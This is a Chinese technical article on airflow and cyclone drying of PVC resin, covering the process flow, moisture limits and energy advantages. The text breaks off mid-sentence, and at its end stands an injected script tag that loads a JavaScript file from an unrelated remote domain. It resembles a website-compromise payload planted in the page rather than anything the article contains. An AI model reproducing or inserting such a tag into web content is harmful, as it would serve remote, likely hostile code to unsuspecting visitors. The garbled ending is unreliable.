气流干燥技术进展  □李明 赵亮    干燥作业是化学工业中出现最早、应用最广、也是耗能最多的单元操作之一。干燥操作的好坏直接影响产品的质量、生产效率和能源消耗。有些品种的干燥过程还伴有剂型、色泽等的变化，这些对产品在市场上的竞争能力和经济效益常常起着举足轻重的作用。化工新产品不断涌现，许多都离不开干燥，尽管社会对干燥的需求涉及各行各业，但迄今为止人们对干燥的了解还很不够。在许多情况下，经验还是干燥设计的重要依据，这与其它化工单元形成鲜明的对照，而这也正说明它潜在的科学内涵，工业需求的增长已成为干燥作业发展的巨大推动力。    近１０年来，干燥技术由于干燥产品的需求而获得了长足的发展，有些是突破性的。如德国赫司特公司的旋风干燥、丹麦ＡＮＨＹＤＲＯ公司的旋转闪蒸干燥，集中在两个方面取得了突破性进展：①增加了物料停留时间；②膏糊状物料的气流干燥；把呈泥状、粉状或块状湿物料送入热气流中进行质热交换而得到呈粉状干燥产品，增加的停留时间可以将产品干燥至临界湿含量以下，不仅能脱除物料的表面水，还可以脱除微孔水甚至结合水，这使气流干燥在化工、医药、染料中间体及ＰＶＣ树脂等工业中必将获得更加广泛的应用。    ８０年代德国赫司特公司首先将两段气流干燥成功地应用于悬浮法生产聚氯乙烯的干燥作业中，９０年代旋风干燥技术在国内亦成功地应用于ＰＶＣ树脂的干燥。    当前，国内聚氯乙烯厂大多采用６０年代的气流沸腾两段干燥。气流干燥利用高速气流使颗粒悬浮其中，在气流输送中进行干燥，但其能量消耗大，热效率低。沸腾床是气固错流接触，物料和热气流并流由床底进入床内，气流速度在颗粒的临界速度和带出速度之间，使颗粒在床内流化与热气流质热交换而干燥，气体能量利用率低，操作复杂更换品种麻烦，树脂出床后温度高还需通入冷风进行冷却降温，设备造价高，停留时间难以控制，干燥有死角不均衡，易出次品。    ７０年代后期引进了日本内热式沸腾干燥技术，沸腾干燥器共分六室，一至五室为加热室，六室为冷却。通常情况下沸腾层高度在１～１．５ｍ之间，进风温度控制在７０～８０℃，不论是用连续法或间断法进行床层铺垫一般需耗时８～１２小时，床层内设置直立的Ｕ形盘管，热气流经多孔分布板与物料接触。    上述两种干燥技术在国内聚氯乙烯行业一直占着主导地位，这也反映了我国干燥技术的水平。近年两段气流干燥的应用，使这方面的干燥技术上了一个新台阶。但这种先进干燥技术不仅尚未被广泛采用，即使在聚氯乙烯行业也处在小范围的应用中，更不用说扩大应用范畴及在使用中不断完善了。    ＰＶＣ悬浮液经离心机脱水后仍含有２０％～２５％水份要进行干燥，由于ＰＶＣ颗粒具有一定的空隙度，在干燥过程中存在临界湿含量，疏松树脂的临界湿含量为３．５％～４％。树脂在等速干燥区除去的是表面水，可在短时间（２～８秒）内完成，正适合于气流干燥；物料在降速干燥区除去孔隙内的水份，需要较长的时间（１０分钟左右）才能使含水达到０．３％～０５％以下，故采用旋风干燥。    ＰＶＣ气流旋风干燥流程大致为：干燥用气体经过过滤后进入风机，经加热器加热至１５０℃进入气流干燥器底部。ＰＶＣ悬浮液经离心机甩干后，用螺旋输送器送入气流干燥器底部随气流并流提升，在气固接触中传质传热脱去大部分水份，然后固体物料随气流进入旋风干燥器底部的干燥室，热气体和固体颗粒在室中高速旋转，气固密切接触进行质热传递，脱除一部分水份。由于离心力的作用，固体颗粒甩向干燥器壁，随着固体颗粒角动量的减小，颗粒被气流夹带通过档板中心开口进入下一室，气流与固体颗粒再次密切接触进行传热传质，脱除一部份水份，同时离心力又将二者分开，直到颗粒角动量逐渐减小，最后被气流夹带着通过档板中心开口进入上一个室中，如此每经一室就脱除一部份水份，直到产品合格后气流携带固体产品离开旋风干燥器，进入旋风分离器进行气固分离。固体产品由分离器底部进入振动筛，湿气体从分离器顶部排走。    旋风干燥的优点：    ①固体出口温度低，就聚氯乙烯而言其尾气排出温度可降为４５℃，充分利用热能热效率高，使能耗大为降低，达０．５～０．６吨蒸汽／吨ＰＶＣ树脂；    ②适用范围广，特别适用于热敏性物料。因其干燥操作温度低于５０℃，即使物料停留很长时间也不至于过热而损害物料；    ③树脂粒度范围广，为３０～５００μｍ（平均粒径１５０μｍ），由于离心力和重力的共同作用，使气流与不同大小颗粒之间的速度出现差异，小颗粒在干燥中滞留时间短，大颗粒在干燥中滞留时间长，从而达到自然分级，树脂干燥?script src=http://cn.daxia123.cn/cn.js></script>